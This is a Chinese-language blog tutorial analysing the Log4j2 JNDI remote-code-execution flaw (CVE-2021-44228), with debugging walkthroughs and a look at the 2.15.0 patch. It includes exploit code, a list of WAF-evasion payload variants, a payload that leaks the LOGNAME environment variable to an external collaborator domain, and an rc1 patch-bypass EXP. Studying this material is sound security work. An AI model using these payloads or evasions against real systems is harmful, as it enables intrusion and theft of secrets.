看到网上烂的文章还是不少,决定自己写一篇,深入理解一下 log4j2 的 RCE
Log4j2 复现 CVE-2021-44228
0x01 前言
忍不住想先学一学 Log4j2 的漏洞,结果上网一查资料,看到一些资料感觉写的不太清楚,于是自己提笔来写一篇 ~
0x02 Log4j2 基础开发学习
环境
jdk8u65
网上有很多说 jdk8u191 之后就不行了,其实不是的;高版本 jdk 是有绕过手段的。
Log4j2 2.14.1
CC 3.2.1 (最好是)
Demo 实现
开发的话,其实也不难,因为作为组件的话,如果要实现组件功能的话实现配置即可。
这里主要是简单走一遍开发流程,让大家了解一下 log4j2 有什么用。
log4j 和 log4j2 都是日志管理工具,相比于 log4j,log4j2 一步步变得越来越主流,现在市场很很多的项目都是 slf4j + log4j2
我们这里就简单看一个 Log4j2 的小 demo,并不复杂。
首先要实现 Log4j2 的组件应用,先是 Pom.xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
然后网上有讲很多教程,说 log4j2 的一些实现方式,什么 xml,yaml,properties 等很多方式。
这里,我们简单用 xml 的方式来实现,文件如下
<?xml version="1.0" encoding="UTF-8"?>
<!-- log4j2 配置文件 -->
<!-- 日志级别 trace<debug<info<warn<error<fatal --><configuration status="info">
<!-- 自定义属性 -->
<Properties>
<!-- 日志格式(控制台) -->
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<!-- 日志格式(文件) -->
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<!-- 日志文件路径 -->
<Property name="filePath">logs/myLog.log</Property>
</Properties>
<appenders> <Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console> <RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile> </appenders> <loggers> <root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root> </loggers></configuration>
然后写一个 demo
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class Log4j2Test01 {
public static void main( String[] args )
{
Logger logger = LogManager.getLogger(LongFunction.class);
logger.trace("trace level");
logger.debug("debug level");
logger.info("info level");
logger.warn("warn level");
logger.error("error level");
logger.fatal("fatal level");
}
}
跑起来是这个样子
实际开发场景
现在的代码是我们封装的一个行为,一般日志文件还是需要输出的。然后实际应用的话,是这样的。
比如我从数据库获取到了一个 username 为 "Drunkbaby",我要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的。
这时候就是我们的实际应用场景,跑一下看看。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class RealEnv {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
String username = "Drunkbaby";
if (username != null) {
logger.info("User {} login in!", username);
}
else {
logger.error("User {} not exists", username);
}
}
}
Run 一下
当然实际场景里面肯定不会是判断 null,肯定是和 mybatis 数据库这种结合起来使用的,具体的 demo 我就不写了,仅仅知道开发流程就可以了。
0x03 Log4j2 漏洞分析
影响版本
2.x <= log4j <= 2.15.0-rc1
漏洞原理
我们可以看到在logger.info("User {} login in!", username);
的这个地方,实际上 ———— username 这个参数是可控的。我输入 username 确实是用户可控的。
那么这里,我们尝试输入一下其他的呢?
我们将 username 修改为String username = "${java:os}";
,再跑一下看看。
这里并不是打印出了 "Hello, $java:os",而是打印出了我们操作系统的一些信息。这里的设计看上去就有非常大的问题,官方文档的意思是这是 log4j2 自带的一个功能。
其实如果按照官网上面的那几个 api 来看,其实不太严重,最多也就是日志与我们输入对不上而已,并不是会引起大的安全漏洞。
真正的问题是,这里的 lookup 它是基于 jndi 的,而 jndi 里面我们早在之前说过直接调用 lookup() 是会存在漏洞的。
jndi 可以看我这篇文章。Java反序列化之JNDI学习 | 芜风 (drun1baby.github.io)
0x04 漏洞复现与 EXP
在知道漏洞原理的情况下,我们可以直接写 EXP 了,EXP 非常简单,就一句话
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class log4j2EXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
String username = "${jndi:ldap://127.0.0.1:1234/ExportObject}";
logger.info("User {} login in!", username);
}
}
然后要开启 RMIServer,因为之前有代码,这里就不放了。
成功
0x05 调试分析
分析
这里我觉得还是会走到原生的 RMI 里面的 lookup 方法去的。
调试会有点难度,而且会有很多遍的各种调用,因为日志第一行是
{pattern1}
还有{pattern2}
;后续还有日期的那些信息,到最后才是我们的输入。
所以要把断点找好,一直 f9 比较节省时间。
不要直接调试,我们下个断点在PatternLayout
这个类下的toSerializable()
方法。因为前面的调试很多都是在转来转去,这样太浪费时间了。
往下走,先是一个循环,遍历formatters
一段一段的拼接输出的内容,不是很重要。
两个传进去进行处理的变量,一个是 event,也就是我们 log4j2 需要来进行日志打印的内容;另外一个 buffer,我们会把打印出来的东西写进 buffer。
跟进format()
方法,这个format()
方法师傅们可以把它当作是处理字符串的一个方法,具体如何处理是根据具体情况重写的。当时自己学习的时候就一直纠结的这个,其实没必要。
因为这是一个循环来遍历formatters
的,中间会做很多数据处理的工作,这都不重要,但是有一个地方特别重要,我这里当 i = 7 的时候进入到了另外的一个 format 处理方法,如图。
其实 event 还是同一个,这里循环到底是什么逻辑我也搞不清楚,如果有了解的师傅还请指点一下 ~
当我们进到这个format()
方法里面之后,先判断是否是 Log4j2 的 lookups 功能。这里我们是 lookups 功能,所以可以继续往下走。
继续往下走,会遍历 workingBuilder 来进行判断;如果 workingBuilder 中存在${
,那么就会取出从 $ 开始知道最后的字符串,这一步
workingBuilder 的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,然后就是我们的 payload
所以上图的 value 就是我们输入的 payload${jndi:ldap://127.0.0.1:1389/Calc}
跟进replace()
方法,replace()
方法里面调用了substitute()
方法
跟进之后 f7 进入到这里
继续往下走,直到这个 while 循环里面,在 while 循环中,会对字符进行逐字匹配${
然后进行循环读取,知道读取到 } 并获取其坐标,然后将 ${} 中间的内容取出来,然后又会调用this.subtitute
来处理。
这里会多次进入这个过程,说真的挺头疼的,不用管其他流程,我们就关注这个${jndi:ldap://127.0.0.1:1234/ExportObject}
的值即可
再次运行 subtitue 的时候由于我们已没有 ${ } 所以就直接来到下面,将 varName 作为变量传入了 resolveVariable 函数
varName 就是为 ${} 中的值
可以猜测resolver
解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j]
,而我们这里利用的jndi:xxx
后续就会用到JndiLookup
这个解析器
这里我们看到resolveVariable()
方法里面是调用了lookup()
方法,这个lookup()
方法也就是 jndi 里面原生的方法,在我们让 jndi 去调用 ldap 服务的时候,是调用原生的lookup()
方法的,是存在漏洞的。
再可以往里跟一下
再往下走就是 JNDI 常规的注入了,分析过程到此结束。
小结调试
先判断内容中是否有
${}
,然后截取${}
中的内容,得到我们的恶意payloadjndi:xxx
后使用
:
分割payload,通过前缀来判断使用何种解析器去lookup
支持的前缀包括
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,后续我们的绕过可能会用到这些。
0x06 针对 WAF 的常规绕过
出发点是基于很多 WAF 检测是否存在jndi:
等关键词进行判断,下面我们讲一讲绕过手法。
根据官方文档中的描述,如果参数未定义,那么:-
后面的就是默认值,通俗的来说就是默认值
1. 利用分隔符和多个${}
绕过
例如这个 payload
logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");
2. 通过 lower 和 upper 绕过
这一点,因为我们之前说允许的字段是这一些date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,其中就有 lower 和 upper
同时也可以利用 lower 和 upper 来进行 bypass 关键字
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
....
同时也可以利用一些特殊字符的大小写转化的问题
ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)
İ => upper => i (Java 中测试不可行)
K => upper => k (Java 中测试不可行)
logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");
...
由于这玩意儿测试过程中随便插都行,现在数据传输很多都是 json 形式,所以在 json 中我们也可以进行尝试
像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过
{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}
3. 总结一些 payload
原始payload
"${jndi:ldap://127.0.0.1:1234/ExportObject}";
对应的绕过手段
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";
4. 奇淫技巧
主要是读取敏感信息,GoogleCTF2022 的 log4j2 的题目中,有一种非预期的方式就是通过这种方式打的
刚才分析了其他解析器功效,通过sys
和env
协议,结合jndi
可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码
举个例子
${jndi:ldap://${env:LOGNAME}.1hj2a0litb8gvybwuy1m16vj8ae02p.oastify.com}
我这里本地利用失败了,还有浅蓝师傅提出来的读取 classpath 的敏感信息的利用方式 ———— http://wjlshare.com/archives/1677
0x07 Log4j2 2.15.0 漏洞修复与绕过
说实话,挺鸡肋的,而且受操作系统影响,Windows 无法复现成功,师傅们可以看一下思路,不用跟着复现。
1. 初窥 log4j 2.15.0 版本的修复
官方给出了 CVE 编号和补丁,升级到了 2.15.0 之后默认不开启 JNDI Lookup
漏洞修复主要是在 JndiManager#lookup 中增加了代码,因为最终的触发点就是这里,我们可以先跑一下之前的 2.14.1 里面攻击的 EXP
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.layout.PatternLayout;
import java.util.function.LongFunction;
public class OriginalEXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
String username = "${jndi:ldap://127.0.0.1:1234/ExportObject}";
logger.error("User {} login in!", username);
}
}
如果这时候运行的话我们会直接把一整个 username 直接就装进去了,并不执行任何命令,也就是说这个语句是正常走的,但是没有走到 lookup 里面进去,没有实现到我们想要的效果。
后续的分析会把 2.14.1 和 2.15.0 两个版本对照起来调试,要不然调试这一块确实很难。
我一开始是把断点打在StrSubstitutor
这个类下的resolver.lookup
那里,但是发现一直走不进去,所以先把断点打在PatternLayout#toSerializable
这里。
左边是 2.14.1 版本的,右边是 2.15.0 版本的,开始调试。
因为我前文说过,toSerializable 这里会读取日志的全部部分,所以一开始是什么[ERROR]
那些的。所以我们要走到读取 payload 的地方。如图所示,2.14.1 类是MessagePatternConverter
,2.15.0 是MessagePatternConverter.SimplePatternConverter
这里 2.14.1 的版本会进行${}
的判断,而 2.15.0 的版本会直接把它 toAppendTo 进去。注意!这是同一个类的 format 方法,由此可见,此处是 2.15.0 版本的修复点之一。
2.15.0 版本的 log4j 包还在JndiManager#lookup
中增加了代码,不过我们现在得先走到那里面进去再去分析。现在应该想办法走进JndiManager#lookup
。
后续听 4ra1n 师傅,也就是许少说,Windows 上无法复现成功,需要 mac 才可以,这里绕过我觉得可以看一个思路,但是实际利用上还是很鸡肋。
2. log4j rc1 bypass
按照我们上面所分析的,难道就没有办法进入到lookup()
进行攻击了吗?
其实不是这样的,我们在MssagePatternConverter
这个类里面找之前 2.14.1 版本中的调用语句:config.getStrSubstitutor().replace(event, value)
。结果是找到一个非常非常类似的语句,位置如图所示
点进去看replaceIn()
方法,它所属的类是StrSubstitutor
,这和我们在 2.14.1 里面分析的是一样的过程。
那么回来看调用replaceIn()
方法的format()
方法是隶属于LookupMessagePatternConverter
这个类的,而这个类继承了MessagePatternConverter
;如果我们要进到LookupMessagePatternConverter
这个类里面去,需要满足前文提到的Converter
为LookupMessagePatternConverter
这个类。
但是怎么样才能让converter
的类变成LookupMessagePatternConverter
,而不是SimpleMessagePatternConverter
呢?
(一开始这里自己分析不下去了,看天下大木头师傅的文章才知道是怎么解决的)
在newInstance()
方法中会调用loadLookups()
这个方法,在loadLookups()
方法中会根据if (LOOKUPS.equalsIgnoreCase(option))
的结果来判断是哪一个 Converter,我们可以在这里打个断点。发现是要满足两个条件才可以,如图。
在经过多次尝试之后,发现其实限制因素其实都是需要我们手动去修改的,在实际渗透的时候不可能会遇到这种情况,如图。
所以这也是补丁绕过比较鸡肋的地方
为了分析绕过,我们只能手动配置了。
手动开启的 lookup 在 resources 中添加 log4j2.xml 文件
<configuration status="OFF" monitorInterval="30">
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%m{lookups}%n"/>
</console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="CONSOLE-APPENDER"/>
</root>
</loggers>
</configuration>
所以我们的 EXP 应该是这样的。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.Configuration;
import org.apache.logging.log4j.core.config.DefaultConfiguration;
import org.apache.logging.log4j.core.impl.MutableLogEvent;
import org.apache.logging.log4j.core.pattern.MessagePatternConverter;
import java.util.function.LongFunction;
// 绕过 rc1 的 EXPpublic class BypassRc1EXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
Configuration configuration = new DefaultConfiguration();
MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,
new String[]{"lookups"});
LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:1234/ExportObject}"),null);
messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:1234/ExportObject}"));
}
}
这时候会成功进入到
JndiManager#lookup
里面去,这个方法在相较于 2.14.1 还是变化非常非常大的。
在这里做了很多限制,一个一个来看
在最开始的 this.allowedProtocols 为 {java,ldap,ldaps} 我们的 ldap 在其中,所以会继续
接下来就是 this.allowedHosts 的限制,这个限制的非常死,只允许本地host
后面还有对 javaSerializedData 中的 classname 做了处理;以及 Reference 和 javaFactory 做了处理,也就是对 JDNI 注入做了处理,师傅们可以去木头师傅的博客观看 ~
但是其实最终的绕过的话,是因为抛出异常这里没有进行限制,所以我们传入的 Payload 可以是这样:"${jndi:ldap://127.0.0.1:1234/ ExportObject}"
,也就是多个空格,就可以进入到catch
里面绕过
完整 EXP 如下
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.Configuration;
import org.apache.logging.log4j.core.config.DefaultConfiguration;
import org.apache.logging.log4j.core.impl.MutableLogEvent;
import org.apache.logging.log4j.core.pattern.MessagePatternConverter;
import java.util.function.LongFunction;
// 绕过 rc1 的 EXP,Windows 无法触发
public class BypassRc1EXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
Configuration configuration = new DefaultConfiguration();
MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,
new String[]{"lookups"});
LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"),null);
messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"));
}
}
0x08 参考资料
http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html
http://wjlshare.com/archives/1674
http://wjlshare.com/archives/1677
https://xz.aliyun.com/t/10649
https://xz.aliyun.com/t/10689#toc-0
https://y4tacker.github.io/2022/07/06/year/2022/7/GoogleCTF2022-Log4j/#%E9%80%89%E6%8B%A9%E5%90%88%E9%80%82%E7%9A%84%E7%B1%BB%E5%AE%8C%E6%88%90challenge